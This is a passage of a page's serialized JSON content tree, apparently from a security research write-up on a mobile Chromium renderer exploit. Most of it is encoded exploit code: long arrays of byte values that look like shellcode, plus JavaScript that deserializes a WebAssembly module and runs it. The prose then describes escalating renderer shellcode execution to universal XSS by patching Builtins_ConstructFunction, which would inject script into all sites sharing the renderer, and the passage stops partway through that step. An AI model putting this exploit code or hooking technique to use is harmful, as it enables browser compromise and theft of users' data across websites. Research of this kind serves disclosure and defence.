,{"type":22,"tag":118,"props":139858,"children":139859},{"style":125},[139860],{"type":28,"value":231},{"type":22,"tag":118,"props":139862,"children":139863},{"style":674},[139864],{"type":28,"value":6036},{"type":22,"tag":118,"props":139866,"children":139867},{"style":125},[139868],{"type":28,"value":231},{"type":22,"tag":118,"props":139870,"children":139871},{"style":674},[139872],{"type":28,"value":6036},{"type":22,"tag":118,"props":139874,"children":139875},{"style":125},[139876],{"type":28,"value":231},{"type":22,"tag":118,"props":139878,"children":139879},{"style":674},[139880],{"type":28,"value":6036},{"type":22,"tag":118,"props":139882,"children":139883},{"style":125},[139884],{"type":28,"value":231},{"type":22,"tag":118,"props":139886,"children":139887},{"style":674},[139888],{"type":28,"value":6036},{"type":22,"tag":118,"props":139890,"children":139891},{"style":125},[139892],{"type":28,"value":231},{"type":22,"tag":118,"props":139894,"children":139895},{"style":674},[139896],{"type":28,"value":6036},{"type":22,"tag":118,"props":139898,"children":139899},{"style":125},[139900],{"type":28,"value":231},{"type":22,"tag":118,"props":139902,"children":139903},{"style":674},[139904],{"type":28,"value":6036},{"type":22,"tag":118,"props":139906,"children":139907},{"style":125},[139908],{"type":28,"value":231},{"type":22,"tag":118,"props":139910,"children":139911},{"style":674},[139912],{"type":28,"value":6036},{"type":22,"tag":118,"props":139914,"children":139915},{"style":125},[139916],{"type":28,"value":231},{"type":22,"tag":118,"props":139918,"children":139919},{"style":674},[139920],{"type":28,"value":6036},{"type":22,"tag":118,"props":139922,"children":139923},{"style":125},[139924],{"type":28,"value":231},{"type":22,"tag":118,"props":139926,"children":139927},{"style":674},[139928],{"type":28,"value":6036},{"type":22,"tag":118,"props":139930,"children":139931},{"style":125},[139932],{"type":28,"value":231},{"type":22,"tag":118,"props":139934,"children":139935},{"style":674},[139936],{"type":28,"value":6036},{"type":22,"tag":118,"props":139938,"children":139939},{"style":125},[139940],{"type":28,"value":231},{"type":22,"tag":118,"props":139942,"children":139943},{"style":674},[139944],{"type":28,"value":31361},{"type":22,"tag":118,"props":139946,"children":139947},{"style":125},[139948],{"type":28,"value":231},{"type":22,"tag":118,"props":139950,"children":139951},{"style":674},[139952],{"type":28,"value":6036},{"type":22,"tag":118,"props":139954,"children":139955},{"style":125},[139956],{"type":28,"value":231},{"type":22,"tag":118,"props":139958,"children":139959},{"style":674},[139960],{"type":28,"value":6036},{"type":22,"tag":118,"props":139962,"children":139963},{"style":125},[139964],{"type":28,"value":231},{"type":22,"tag":118,"props":139966,"children":139967},{"style":674},[139968],{"type":28,"value":6036},{"type":22,"tag":118,"props":139970,"children":139971},{"style":125},[139972],{"type":28,"value":231},{"type":22,"tag":118,"props":139974,"children":139975},{"style":674},[139976],{"type":28,"value":6036},{"type":22,"tag":118,"props":139978,"children":139979},{"style":125},[139980],{"type":28,"value":231},{"type":22,"tag":118,"props":139982,"children":139983},{"style":674},[139984],{"type":28,"value":6036},{"type":22,"tag":118,"props":139986,"children":139987},{"style":125},[139988],{"type":28,"value":231},{"type":22,"tag":118,"props":139990,"children":139991},{"style":674},[139992],{"type":28,"value":6036},{"type":22,"tag":118,"props":139994,"children":139995},{"style":125},[139996],{"type":28,"value":231},{"type":22,"tag":118,"props":139998,"children":139999},{"style":674},[140000],{"type":28,"value":6036},{"type":22,"tag":118,"props":140002,"children":140003},{"style":125},[140004],{"type":28,"value":231},{"type":22,"tag":118,"props":140006,"children":140007},{"style":674},[140008],{"type":28,"value":6036},{"type":22,"tag":118,"props":140010,"children":140011},{"style":125},[140012],{"type":28,"value":231},{"type":22,"tag":118,"props":140014,"children":140015},{"style":674},[140016],{"type":28,"value":6036},{"type":22,"tag":118,"props":140018,"children":140019},{"style":125},[140020],{"type":28,"value":231},{"type":22,"tag":118,"props":140022,"children":140023},{"style":674},[140024],{"type":28,"value":6036},{"type":22,"tag":118,"props":140026,"children":140027},{"style":125},[140028],{"type":28,"value":231},{"type":22,"tag":118,"props":140030,"children":140031},{"style":674},[140032],{"type":28,"value":6036},{"type":22,"tag":118,"props":140034,"children":140035},{"style":125},[140036],{"type":28,"value":231},{"type":22,"tag":118,"props":140038,"children":140039},{"style":674},[140040],{"type":28,"value":6036},{"type":22,"tag":118,"props":140042,"children":140043},{"style":125},[140044],{"type":28,"value":782},{"type":22,"tag":118,"props":140046,"children":140047},{"class":120,"line":359},[140048,140052,140056,140060,140064,140068,140072,140076,140080,140084,140088,140092,140096,140100,140104,140108,140112,140116,140120,140124,140128,140132,140136,140140,140144,140148,140152,140156,140160,140164,140168,140172,140176,140181,140185,140190,140194,140198,140202,140207,140211,140215,140219,140223,140227,140231,140235,140240,140244,140248,140252,140257,140261,140265],{"type":22,"tag":118,"props":140049,"children":140050},{"style":674},[140051],{"type":28,"value":135793},{"type":22,"tag":118,"props":140053,"children":140054},{"style":125},[140055],{"type":28,"value":231},{"type":22,"tag":118,"props":140057,"children":140058},{"style":674},[140059],{"type":28,"value":6036},{"type":22,"tag":118,"props":140061,"children":140062},{"style":125},[140063],{"type":28,"value":231},{"type":22,"tag":118,"props":140065,"children":140066},{"style":674},[140067],{"type":28,"value":6036},{"type":22,"tag":118,"props":140069,"children":140070},{"style":125},[140071],{"type":28,"value":231},{"type":22,"tag":118,"props":140073,"children":140074},{"style":674},[140075],{"type":28,"value":6036},{"type":22,"tag":118,"props":140077,"children":140078},{"style":125},[140079],{"type":28,"value":231},{"type":22,"tag":118,"props":140081,"children":140082},{"style":674},[140083],{"type":28,"value":6036},{"type":22,"tag":118,"props":140085,"children":140086},{"style":125},[140087],{"type":28,"value":231},{"type":22,"tag":118,"props":140089,"children":140090},{"style":674},[140091],{"type":28,"value":6036},{"type":22,"tag":118,"props":140093,"children":140094},{"style":125},[140095],{"type":28,"value":231},{"type":22,"tag":118,"props":140097,"children":140098},{"style":674},[140099],{"type":28,"value":6036},{"type":22,"tag":118,"props":140101,"children":140102},{"style":125},[140103],{"type":28,"value":231},{"type":22,"tag":118,"props":140105,"children":140106},{"style":674},[140107],{"type":28,"value":6036},{"type":22,"tag":118,"props":140109,"children":140110},{"style":125},[140111],{"type":28,"value":231},{"type":22,"tag":118,"props":140113,"children":140114},{"style":674},[140115],{"type":28,"value":6036},{"type":22,"tag":118,"props":140117,"children":140118},{"style":125},[140119],{"type":28,"value":231},{"type":22,"tag":118,"props":140121,"children":140122},{"style":674},[140123],{"type":28,"value":6036},{"type":22,"tag":118,"props":140125,"children":140126},{"style":125},[140127],{"type":28,"value":231},{"type":22,"tag":118,"props":140129,"children":140130},{"style":674},[140131],{"type":28,"value":6036},{"type":22,"tag":118,"props":140133,"children":140134},{"style":125},[140135],{"type":28,"value":231},{"type":22,"tag":118,"props":140137,"children":140138},{"style":674},[140139],{"type":28,"value":6036},{"type":22,"tag":118,"props":140141,"children":140142},{"style":125},[140143],{"type":28,"value":231},{"type":22,"tag":118,"props":140145,"children":140146},{"style":674},[140147],{"type":28,"value":6036},{"type":22,"tag":118,"props":140149,"children":140150},{"style":125},[140151],{"type":28,"value":231},{"type":22,"tag":118,"props":140153,"children":140154},{"style":674},[140155],{"type":28,"value":6036},{"type":22,"tag":118,"props":140157,"children":140158},{"style":125},[140159],{"type":28,"value":231},{"type":22,"tag":118,"props":140161,"children":140162},{"style":674},[140163],{"type":28,"value":6036},{"type":22,"tag":118,"props":140165,"children":140166},{"style":125},[140167],{"type":28,"value":231},{"type":22,"tag":118,"props":140169,"children":140170},{"style":674},[140171],{"type":28,"value":5147},{"type":22,"tag":118,"props":140173,"children":140174},{"style":125},[140175],{"type":28,"value":231},{"type":22,"tag":118,"props":140177,"children":140178},{"style":674},[140179],{"type":28,"value":140180},"95",{"type":22,"tag":118,"props":140182,"children":140183},{"style":125},[140184],{"type":28,"value":231},{"type":22,"tag":118,"props":140186,"children":140187},{"style":674},[140188],{"type":28,"value":140189},"36",{"type":22,"tag":118,"props":140191,"children":140192},{"style":125},[140193],{"type":28,"value":231},{"type":22,"tag":118,"props":140195,"children":140196},{"style":674},[140197],{"type":28,"value":19260},{"type":22,"tag":118,"props":140199,"children":140200},{"style":125},[140201],{"type":28,"value":231},{"type":22,"tag":118,"props":140203,"children":140204},{"style":674},[140205],{"type":28,"value":140206},"213",{"type":22,"tag":118,"props":140208,"children":140209},{"style":125},[140210],{"type":28,"value":231},{"type":22,"tag":118,"props":140212,"children":140213},{"style":674},[140214],{"type":28,"value":42786},{"type":22,"tag":118,"props":140216,"children":140217},{"style":125},[140218],{"type":28,"value":231},{"type":22,"tag":118,"props":140220,"children":140221},{"style":674},[140222],{"type":28,"value":6026},{"type":22,"tag":118,"props":140224,"children":140225},{"style":125},[140226],{"type":28,"value":231},{"type":22,"tag":118,"props":140228,"children":140229},{"style":674},[140230],{"type":28,"value":31785},{"type":22,"tag":118,"props":140232,"children":140233},{"style":125},[140234],{"type":28,"value":231},{"type":22,"tag":118,"props":140236,"children":140237},{"style":674},[140238],{"type":28,"value":140239},"210",{"type":22,"tag":118,"props":140241,"children":140242},{"style":125},[140243],{"type":28,"value":231},{"type":22,"tag":118,"props":140245,"children":140246},{"style":674},[140247],{"type":28,"value":136186},{"type":22,"tag":118,"props":140249,"children":140250},{"style":125},[140251],{"type":28,"value":231},{"type":22,"tag":118,"props":140253,"children":140254},{"style":674},[140255],{"type":28,"value":140256},"35",{"type":22,"tag":118,"props":140258,"children":140259},{"style":125},[140260],{"type":28,"value":231},{"type":22,"tag":118,"props":140262,"children":140263},{"style":674},[140264],{"type":28,"value":19260},{"type":22,"tag":118,"props":140266,"children":140267},{"style":125},[140268],{"type":28,"value":782},{"type":22,"tag":118,"props":140270,"children":140271},{"class":120,"line":368},[140272,140277,140281,140286,140290,140295,140299,140304,140308,140313,140317,140322,140326,140331,140335,140339,140343,140347,140351,140355,140359,140363,140367,140371,140375,140380,140384,140389,140393,140397,140401,140405,140409,140413,140417,140421,140425,140429,140433,140438,140442,140447],{"type":22,"tag":118,"props":140273,"children":140274},{"style":674},[140275],{"type":28,"value":140276},"    213",{"type":22,"tag":118,"props":140278,"children":140279},{"style":125},[140280],{"type":28,"value":231},{"type":22,"tag":118,"props":140282,"children":140283},{"style":674},[140284],{"type":28,"value":140285},"231",{"type":22,"tag":118,"props":140287,"children":140288},{"style":125},[140289],{"type":28,"value":231},{"type":22,"tag":118,"props":140291,"children":140292},{"style":674},[140293],{"type":28,"value":140294},"67",{"type":22,"tag":118,"props":140296,"children":140297},{"style":125},[140298],{"type":28,"value":231},{"type":22,"tag":118,"props":140300,"children":140301},{"style":674},[140302],{"type":28,"value":140303},"190",{"type":22,"tag":118,"props":140305,"children":140306},{"style":125},[140307],{"type":28,"value":231},{"type":22,"tag":118,"props":140309,"children":140310},{"style":674},[140311],{"type":28,"value":140312},"169",{"type":22,"tag":118,"props":140314,"children":140315},{"style":125},[140316],{"type":28,"value":231},{"type":22,"tag":118,"props":140318,"children":140319},{"style":674},[140320],{"type":28,"value":140321},"253",{"type":22,"tag":118,"props":140323,"children":140324},{"style":125},[140325],{"type":28,"value":231},{"type":22,"tag":118,"props":140327,"children":140328},{"style":674},[140329],{"type":28,"value":140330},"123",{"type":22,"tag":118,"props":140332,"children":140333},{"style":125},[140334],{"type":28,"value":231},{"type":22,"tag":118,"props":140336,"children":140337},{"style":674},[140338],{"type":28,"value":6026},{"type":22,"tag":118,"props":140340,"children":140341},{"style":125},[140342],{"type":28,"value":231},{"type":22,"tag":118,"props":140344,"children":140345},{"style":674},[140346],{"type":28,"value":140312},{"type":22,"tag":118,"props":140348,"children":140349},{"style":125},[140350],{"type":28,"value":231},{"type":22,"tag":118,"props":140352,"children":140353},{"style":674},[140354],{"type":28,"value":140321},{"type":22,"tag":118,"props":140356,"children":140357},{"style":125},[140358],{"type":28,"value":231},{"type":22,"tag":118,"props":140360,"children":140361},{"style":674},[140362],{"type":28,"value":140294},{"type":22,"tag":118,"props":140364,"children":140365},{"style":125},[140366],{"type":28,"value":231},{"type":22,"tag":118,"props":140368,"children":140369},{"style":674},[140370],{"type":28,"value":6036},{"type":22,"tag":118,"props":140372,"children":140373},{"style":125},[140374],{"type":28,"value":231},{"type":22,"tag":118,"props":140376,"children":140377},{"style":674},[140378],{"type":28,"value":140379},"145",{"type":22,"tag":118,"props":140381,"children":140382},{"style":125},[140383],{"type":28,"value":231},{"type":22,"tag":118,"props":140385,"children":140386},{"style":674},[140387],{"type":28,"value":140388},"191",{"type":22,"tag":118,"props":140390,"children":140391},{"style":125},[140392],{"type":28,"value":231},{"type":22,"tag":118,"props":140394,"children":140395},{"style":674},[140396],{"type":28,"value":19260},{"type":22,"tag":118,"props":140398,"children":140399},{"style":125},[140400],{"type":28,"value":231},{"type":22,"tag":118,"props":140402,"children":140403},{"style":674},[140404],{"type":28,"value":6036},{"type":22,"tag":118,"props":140406,"children":140407},{"style":125},[140408],{"type":28,"value":231},{"type":22,"tag":118,"props":140410,"children":140411},{"style":674},[140412],{"type":28,"value":140379},{"type":22,"tag":118,"props":140414,"children":140415},{"style":125},[140416],{"type":28,"value":231},{"type":22,"tag":118,"props":140418,"children":140419},{"style":674},[140420],{"type":28,"value":140321},{"type":22,"tag":118,"props":140422,"children":140423},{"style":125},[140424],{"type":28,"value":231},{"type":22,"tag":118,"props":140426,"children":140427},{"style":674},[140428],{"type":28,"value":140330},{"type":22,"tag":118,"props":140430,"children":140431},{"style":125},[140432],{"type":28,"value":231},{"type":22,"tag":118,"props":140434,"children":140435},{"style":674},[140436],{"type":28,"value":140437},"193",{"type":22,"tag":118,"props":140439,"children":140440},{"style":125},[140441],{"type":28,"value":231},{"type":22,"tag":118,"props":140443,"children":140444},{"style":674},[140445],{"type":28,"value":140446},"168",{"type":22,"tag":118,"props":140448,"children":140449},{"style":125},[140450],{"type":28,"value":782},{"type":22,"tag":118,"props":140452,"children":140453},{"class":120,"line":384},[140454,140459,140463,140467,140471,140475,140479,140483,140487,140491,140495,140499,140503,140507,140511,140516,140520,140524,140528,140532,140536,140540,140544,140548,140552,140556,140560,140564,140568,140572,140576,140580,140584,140588,140592,140596,140600,140604,140608,140612,140616,140620,140624,140628,140632,140636,140640,140644,140648,140652,140656,140660,140664,140668],{"type":22,"tag":118,"props":140455,"children":140456},{"style":674},[140457],{"type":28,"value":140458},"    255",{"type":22,"tag":118,"props":140460,"children":140461},{"style":125},[140462],{"type":28,"value":231},{"type":22,"tag":118,"props":140464,"children":140465},{"style":674},[140466],{"type":28,"value":140256},{"type":22,"tag":118,"props":140468,"children":140469},{"style":125},[140470],{"type":28,"value":231},{"type":22,"tag":118,"props":140472,"children":140473},{"style":674},[140474],{"type":28,"value":19260},{"type":22,"tag":118,"props":140476,"children":140477},{"style":125},[140478],{"type":28,"value":231},{"type":22,"tag":118,"props":140480,"children":140481},{"style":674},[140482],{"type":28,"value":140206},{"type":22,"tag":118,"props":140484,"children":140485},{"style":125},[140486],{"type":28,"value":231},{"type":22,"tag":118,"props":140488,"children":140489},{"style":674},[140490],{"type":28,"value":136141},{"type":22,"tag":118,"props":140492,"children":140493},{"style":125},[140494],{"type":28,"value":231},{"type":22,"tag":118,"props":140496,"children":140497},{"style":674},[140498],{"type":28,"value":19260},{"type":22,"tag":118,"props":140500,"children":140501},{"style":125},[140502],{"type":28,"value":231},{"type":22,"tag":118,"props":140504,"children":140505},{"style":674},[140506],{"type":28,"value":140180},{"type":22,"tag":118,"props":140508,"children":140509},{"style":125},[140510],{"type":28,"value":231},{"type":22,"tag":118,"props":140512,"children":140513},{"style":674},[140514],{"type":28,"value":140515},"214",{"type":22,"tag":118,"props":140517,"children":140518},{"style":125},[140519],{"type":28,"value":231},{"type":22,"tag":118,"props":140521,"children":140522},{"style":674},[140523],{"type":28,"value":98263},{"type":22,"tag":118,"props":140525,"children":140526},{"style":125},[140527],{"type":28,"value":231},{"type":22,"tag":118,"props":140529,"children":140530},{"style":674},[140531],{"type":28,"value":62287},{"type":22,"tag":118,"props":140533,"children":140534},{"style":125},[140535],{"type":28,"value":231},{"type":22,"tag":118,"props":140537,"children":140538},{"style":674},[140539],{"type":28,"value":19260},{"type":22,"tag":118,"props":140541,"children":140542},{"style":125},[140543],{"type":28,"value":231},{"type":22,"tag":118,"props":140545,"children":140546},{"style":674},[140547],{"type":28,"value":140206},{"type":22,"tag":118,"props":140549,"children":140550},{"style":125},[140551],{"type":28,"value":231},{"type":22,"tag":118,"props":140553,"children":140554},{"style":674},[140555],{"type":28,"value":19493},{"type":22,"tag":118,"props":140557,"children":140558},{"style":125},[140559],{"type":28,"value":231},{"type":22,"tag":118,"props":140561,"children":140562},{"style":674},[140563],{"type":28,"value":6036},{"type":22,"tag":118,"props":140565,"children":140566},{"style":125},[140567],{"type":28,"value":231},{"type":22,"tag":118,"props":140569,"children":140570},{"style":674},[140571],{"type":28,"value":6036},{"type":22,"tag":118,"props":140573,"children":140574},{"style":125},[140575],{"type":28,"value":231},{"type":22,"tag":118,"props":140577,"children":140578},{"style":674},[140579],{"type":28,"value":6036},{"type":22,"tag":118,"props":140581,"children":140582},{"style":125},[140583],{"type":28,"value":231},{"type":22,"tag":118,"props":140585,"children":140586},{"style":674},[140587],{"type":28,"value":6036},{"type":22,"tag":118,"props":140589,"children":140590},{"style":125},[140591],{"type":28,"value":231},{"type":22,"tag":118,"props":140593,"children":140594},{"style":674},[140595],{"type":28,"value":6036},{"type":22,"tag":118,"props":140597,"children":140598},{"style":125},[140599],{"type":28,"value":231},{"type":22,"tag":118,"props":140601,"children":140602},{"style":674},[140603],{"type":28,"value":6036},{"type":22,"tag":118,"props":140605,"children":140606},{"style":125},[140607],{"type":28,"value":231},{"type":22,"tag":118,"props":140609,"children":140610},{"style":674},[140611],{"type":28,"value":6036},{"type":22,"tag":118,"props":140613,"children":140614},{"style":125},[140615],{"type":28,"value":231},{"type":22,"tag":118,"props":140617,"children":140618},{"style":674},[140619],{"type":28,"value":6036},{"type":22,"tag":118,"props":140621,"children":140622},{"style":125},[140623],{"type":28,"value":231},{"type":22,"tag":118,"props":140625,"children":140626},{"style":674},[140627],{"type":28,"value":19493},{"type":22,"tag":118,"props":140629,"children":140630},{"style":125},[140631],{"type":28,"value":231},{"type":22,"tag":118,"props":140633,"children":140634},{"style":674},[140635],{"type":28,"value":6036},{"type":22,"tag":118,"props":140637,"children":140638},{"style":125},[140639],{"type":28,"value":231},{"type":22,"tag":118,"props":140641,"children":140642},{"style":674},[140643],{"type":28,"value":6036},{"type":22,"tag":118,"props":140645,"children":140646},{"style":125},[140647],{"type":28,"value":231},{"type":22,"tag":118,"props":140649,"children":140650},{"style":674},[140651],{"type":28,"value":6036},{"type":22,"tag":118,"props":140653,"children":140654},{"style":125},[140655],{"type":28,"value":231},{"type":22,"tag":118,"props":140657,"children":140658},{"style":674},[140659],{"type":28,"value":6036},{"type":22,"tag":118,"props":140661,"children":140662},{"style":125},[140663],{"type":28,"value":231},{"type":22,"tag":118,"props":140665,"children":140666},{"style":674},[140667],{"type":28,"value":6036},{"type":22,"tag":118,"props":140669,"children":140670},{"style":125},[140671],{"type":28,"value":782},{"type":22,"tag":118,"props":140673,"children":140674},{"class":120,"line":417},[140675,140679,140683,140687,140691,140695,140699,140703,140707,140711,140715,140720,140724,140729,140733,140738,140742,140746],{"type":22,"tag":118,"props":140676,"children":140677},{"style":674},[140678],{"type":28,"value":135793},{"type":22,"tag":118,"props":140680,"children":140681},{"style":125},[140682],{"type":28,"value":231},{"type":22,"tag":118,"props":140684,"children":140685},{"style":674},[140686],{"type":28,"value":6036},{"type":22,"tag":118,"props":140688,"children":140689},{"style":125},[140690],{"type":28,"value":231},{"type":22,"tag":118,"props":140692,"children":140693},{"style":674},[140694],{"type":28,"value":6036},{"type":22,"tag":118,"props":140696,"children":140697},{"style":125},[140698],{"type":28,"value":231},{"type":22,"tag":118,"props":140700,"children":140701},{"style":674},[140702],{"type":28,"value":6036},{"type":22,"tag":118,"props":140704,"children":140705},{"style":125},[140706],{"type":28,"value":231},{"type":22,"tag":118,"props":140708,"children":140709},{"style":674},[140710],{"type":28,"value":6036},{"type":22,"tag":118,"props":140712,"children":140713},{"style":125},[140714],{"type":28,"value":231},{"type":22,"tag":118,"props":140716,"children":140717},{"style":674},[140718],{"type":28,"value":140719},"92",{"type":22,"tag":118,"props":140721,"children":140722},{"style":125},[140723],{"type":28,"value":231},{"type":22,"tag":118,"props":140725,"children":140726},{"style":674},[140727],{"type":28,"value":140728},"50",{"type":22,"tag":118,"props":140730,"children":140731},{"style":125},[140732],{"type":28,"value":231},{"type":22,"tag":118,"props":140734,"children":140735},{"style":674},[140736],{"type":28,"value":140737},"162",{"type":22,"tag":118,"props":140739,"children":140740},{"style":125},[140741],{"type":28,"value":231},{"type":22,"tag":118,"props":140743,"children":140744},{"style":674},[140745],{"type":28,"value":6036},{"type":22,"tag":118,"props":140747,"children":140748},{"style":125},[140749],{"type":28,"value":782},{"type":22,"tag":118,"props":140751,"children":140752},{"class":120,"line":425},[140753],{"type":22,"tag":118,"props":140754,"children":140755},{"style":125},[140756],{"type":28,"value":136080},{"type":22,"tag":118,"props":140758,"children":140759},{"class":120,"line":441},[140760,140764,140768,140772,140776,140780,140784,140788,140792,140796,140800],{"type":22,"tag":118,"props":140761,"children":140762},{"style":146},[140763],{"type":28,"value":9860},{"type":22,"tag":118,"props":140765,"children":140766},{"style":204},[140767],{"type":28,"value":137533},{"type":22,"tag":118,"props":140769,"children":140770},{"style":210},[140771],{"type":28,"value":837},{"type":22,"tag":118,"props":140773,"children":140774},{"style":532},[140775],{"type":28,"value":137542},{"type":22,"tag":118,"props":140777,"children":140778},{"style":125},[140779],{"type":28,"value":540},{"type":22,"tag":118,"props":140781,"children":140782},{"style":204},[140783],{"type":28,"value":135411},{"type":22,"tag":118,"props":140785,"children":140786},{"style":125},[140787],{"type":28,"value":231},{"type":22,"tag":118,"props":140789,"children":140790},{"style":204},[140791],{"type":28,"value":126738},{"type":22,"tag":118,"props":140793,"children":140794},{"style":125},[140795],{"type":28,"value":292},{"type":22,"tag":118,"props":140797,"children":140798},{"style":204},[140799],{"type":28,"value":126738},{"type":22,"tag":118,"props":140801,"children":140802},{"style":125},[140803],{"type":28,"value":682},{"type":22,"tag":118,"props":140805,"children":140806},{"class":120,"line":475},[140807,140811,140815,140819,140823,140827,140831,140835,140839,140843],{"type":22,"tag":118,"props":140808,"children":140809},{"style":204},[140810],{"type":28,"value":137578},{"type":22,"tag":118,"props":140812,"children":140813},{"style":210},[140814],{"type":28,"value":837},{"type":22,"tag":118,"props":140816,"children":140817},{"style":125},[140818],{"type":28,"value":842},{"type":22,"tag":118,"props":140820,"children":140821},{"style":1480},[140822],{"type":28,"value":34855},{"type":22,"tag":118,"props":140824,"children":140825},{"style":204},[140826],{"type":28,"value":137533},{"type":22,"tag":118,"props":140828,"children":140829},{"style":125},[140830],{"type":28,"value":292},{"type":22,"tag":118,"props":140832,"children":140833},{"style":532},[140834],{"type":28,"value":59506},{"type":22,"tag":118,"props":140836,"children":140837},{"style":125},[140838],{"type":28,"value":137607},{"type":22,"tag":118,"props":140840,"children":140841},{"style":204},[140842],{"type":28,"value":41093},{"type":22,"tag":118,"props":140844,"children":140845},{"style":125},[140846],{"type":28,"value":801},{"type":22,"tag":118,"props":140848,"children":140849},{"class":120,"line":484},[140850,140854,140858,140862,140866,140871,140875,140879],{"type":22,"tag":118,"props":140851,"children":140852},{"style":204},[140853],{"type":28,"value":103540},{"type":22,"tag":118,"props":140855,"children":140856},{"style":125},[140857],{"type":28,"value":292},{"type":22,"tag":118,"props":140859,"children":140860},{"style":532},[140861],{"type":28,"value":103549},{"type":22,"tag":118,"props":140863,"children":140864},{"style":125},[140865],{"type":28,"value":540},{"type":22,"tag":118,"props":140867,"children":140868},{"style":1866},[140869],{"type":28,"value":140870},"'DeserializeWasmModule result: '",{"type":22,"tag":118,"props":140872,"children":140873},{"style":210},[140874],{"type":28,"value":10905},{"type":22,"tag":118,"props":140876,"children":140877},{"style":204},[140878],{"type":28,"value":11158},{"type":22,"tag":118,"props":140880,"children":140881},{"style":125},[140882],{"type":28,"value":682},{"type":22,"tag":118,"props":140884,"children":140885},{"class":120,"line":492},[140886,140890,140894,140898,140902,140906,140910,140914,140918,140922],{"type":22,"tag":118,"props":140887,"children":140888},{"style":146},[140889],{"type":28,"value":38129},{"type":22,"tag":118,"props":140891,"children":140892},{"style":204},[140893],{"type":28,"value":137627},{"type":22,"tag":118,"props":140895,"children":140896},{"style":210},[140897],{"type":28,"value":837},{"type":22,"tag":118,"props":140899,"children":140900},{"style":146},[140901],{"type":28,"value":3442},{"type":22,"tag":118,"props":140903,"children":140904},{"style":204},[140905],{"type":28,"value":135394},{"type":22,"tag":118,"props":140907,"children":140908},{"style":125},[140909],{"type":28,"value":292},{"type":22,"tag":118,"props":140911,"children":140912},{"style":532},[140913],{"type":28,"value":135448},{"type":22,"tag":118,"props":140915,"children":140916},{"style":125},[140917],{"type":28,"value":540},{"type":22,"tag":118,"props":140919,"children":140920},{"style":204},[140921],{"type":28,"value":11081},{"type":22,"tag":118,"props":140923,"children":140924},{"style":125},[140925],{"type":28,"value":682},{"type":22,"tag":118,"props":140927,"children":140928},{"class":120,"line":501},[140929,140933,140937,140941,140945,140949,140953,140957,140961],{"type":22,"tag":118,"props":140930,"children":140931},{"style":146},[140932],{"type":28,"value":38129},{"type":22,"tag":118,"props":140934,"children":140935},{"style":204},[140936],{"type":28,"value":34910},{"type":22,"tag":118,"props":140938,"children":140939},{"style":210},[140940],{"type":28,"value":837},{"type":22,"tag":118,"props":140942,"children":140943},{"style":204},[140944],{"type":28,"value":137627},{"type":22,"tag":118,"props":140946,"children":140947},{"style":125},[140948],{"type":28,"value":292},{"type":22,"tag":118,"props":140950,"children":140951},{"style":204},[140952],{"type":28,"value":39827},{"type":22,"tag":118,"props":140954,"children":140955},{"style":125},[140956],{"type":28,"value":292},{"type":22,"tag":118,"props":140958,"children":140959},{"style":204},[140960],{"type":28,"value":135497},{"type":22,"tag":118,"props":140962,"children":140963},{"style":125},[140964],{"type":28,"value":801},{"type":22,"tag":118,"props":140966,"children":140967},{"class":120,"line":519},[140968,140972,140976,140980,140984,140988],{"type":22,"tag":118,"props":140969,"children":140970},{"style":204},[140971],{"type":28,"value":103540},{"type":22,"tag":118,"props":140973,"children":140974},{"style":125},[140975],{"type":28,"value":292},{"type":22,"tag":118,"props":140977,"children":140978},{"style":532},[140979],{"type":28,"value":103549},{"type":22,"tag":118,"props":140981,"children":140982},{"style":125},[140983],{"type":28,"value":540},{"type":22,"tag":118,"props":140985,"children":140986},{"style":204},[140987],{"type":28,"value":35024},{"type":22,"tag":118,"props":140989,"children":140990},{"style":125},[140991],{"type":28,"value":682},{"type":22,"tag":118,"props":140993,"children":140994},{"class":120,"line":606},[140995],{"type":22,"tag":118,"props":140996,"children":140997},{"style":125},[140998],{"type":28,"value":103581},{"type":22,"tag":31,"props":141000,"children":141001},{},[141002],{"type":28,"value":141003},"And this time, it works as expected:",{"type":22,"tag":31,"props":141005,"children":141006},{},[141007],{"type":22,"tag":5928,"props":141008,"children":141011},{"alt":141009,"src":141010},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":22,"tag":1289,"props":141013,"children":141015},{"id":141014},"achieving-universal-xss",[141016],{"type":28,"value":141017},"Achieving Universal XSS",{"type":22,"tag":31,"props":141019,"children":141020},{},[141021,141023,141029,141031,141038],{"type":28,"value":141022},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":22,"tag":42,"props":141024,"children":141027},{"href":141025,"rel":141026},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[46],[141028],{"type":28,"value":72270},{"type":28,"value":141030}," from Tencent Security and ",{"type":22,"tag":42,"props":141032,"children":141035},{"href":141033,"rel":141034},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[46],[141036],{"type":28,"value":141037},"research article",{"type":28,"value":141039}," from InterruptLabs.",{"type":22,"tag":31,"props":141041,"children":141042},{},[141043,141045,141052],{"type":28,"value":141044},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":22,"tag":42,"props":141046,"children":141049},{"href":141047,"rel":141048},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[46],[141050],{"type":28,"value":141051},"weaker version",{"type":28,"value":141053}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":22,"tag":31,"props":141055,"children":141056},{},[141057,141059,141065],{"type":28,"value":141058},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":22,"tag":114,"props":141060,"children":141062},{"className":141061},[],[141063],{"type":28,"value":141064},"Builtins_ConstructFunction",{"type":28,"value":141066},", making it a natural target.",{"type":22,"tag":31,"props":141068,"children":141069},{},[141070,141072,141077],{"type":28,"value":141071},"Our goal is for ",{"type":22,"tag":114,"props":141073,"children":141075},{"className":141074},[],[141076],{"type":28,"value":141064},{"type":28,"value":141078}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":22,"tag":64,"props":141080,"children":141081},{},[141082,141087,141097],{"type":22,"tag":68,"props":141083,"children":141084},{},[141085],{"type":28,"value":141086},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS 